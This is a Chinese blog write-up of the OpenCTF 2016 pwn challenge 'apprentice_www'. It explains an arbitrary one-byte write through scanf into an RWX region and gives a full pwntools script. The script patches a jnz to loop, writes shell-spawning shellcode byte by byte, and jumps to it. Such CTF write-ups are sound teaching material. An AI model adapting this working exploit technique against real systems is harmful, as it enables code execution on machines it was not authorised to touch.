Openctf-2016-pwn-apprentice_www 题解

54 篇文章 9 订阅
41 篇文章 54 订阅
本文详细解析了2016年OpenCTF的pwn题目apprentice_www。程序包含32位小端模式,仅开启NX保护,通过mprotect创建可写可执行内存区域。漏洞利用方法是ret2shellcode,利用scanf函数读取shellcode到内存,但由于限制需构造循环并注意%d格式的输入。文章提供漏洞定位、利用分析及解题思路。
摘要由CSDN通过智能技术生成

文件信息

该样本来自2016年Openctf的一道pwn题–apprentice_www
检查文件信息:
  32位小端程序,只开启NX保护
check

漏洞定位

main
程序main函数如上图所示,setup函数中使用了mprotect开辟了一个可写、可读以及可执行的内存区域,其截图如下;加上checksec信息中的NX保护,其实这里已经暗示了将shellcode存储在此然后执行的漏洞利用方法。
setup
接下来我们看一下butterflySwag函数,如下图所示,其中第一个scanf函数以%u的方式读取第一次输入,第二个scanf函数以%d的方式读取第二次输入,再结合下面两行代码,我们可以理解为该程序将v2(单字节)复制到v1指向的内存地址中。最后还剩下一堆puts打印文字信息,但没有啥实际的用处。
butterflySwag

利用分析

结合上面的分析,我们可以很轻松的想到ret2shellcode的方法,通过上面两个scanf函数,将shellcode注入到mprotect开辟的可写可执行内存空间。定位该空间可以直接通过动态调试,如下图所示,最开始的两行输出展示了该内存区块的信息。
vmmap

但有个问题就是一次运行只能读取一个字节,所以这里需要先改变程序运行逻辑,尝试循环执行scanf函数,待正确读入shellcode后跳转到存储的地址执行shellcode。最后还需要注意的一个问题是读入的shellcode是以%d读取的,所以此时不能以字母的形式进行输入,也就是说如果要读入a字符,应将其转化为61(当然作为输入,类型还是字符串,也就是输入61这个字符串),这样存储在内存中的自然就是61,否则scanf函数读取出错。

wp

from pwn import *

context.log_level = "debug"
p = process("./apprentice_www")

jnz_addr = 0x080485DA
text_addr = 0x080485DB  # shellcode存储地址
# 该地址位于text段,主要是方便使用jnz进行跳转
# 并且覆盖的内容不影响程序的正常运行

context(os="linux", arch="i386")
code = asm(shellcraft.sh())
code = code.decode("ISO-8859-1")

# scanf 循环读取
# jnz   相对跳转地址的计算方法,两地址位置之差-0x2
p.sendline(str(jnz_addr))
p.sendline(str(0xc2))    # 跳转地址 0x0804859D

# 存储shellcode
for i in range(len(code)):
    p.sendline(str(text_addr+i))
    p.sendline(str(ord(code[i])))

# 跳转到shellcode
p.sendline(str(jnz_addr))
p.sendline(str(0x00))
p.interactive()

总结

该题目是传统shellcode漏洞利用的变形考法,虽然开启了NX保护,但又在程序中开辟了可写可执行的内存区域。为了增加难度,使用了scanf函数每次只能存储单个字节,并且需要自己想办法构造循环才能完整的存储shellcode。同时注意到%d和%u的格式化读取方式,该方式只能读取数字类型的字符串。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值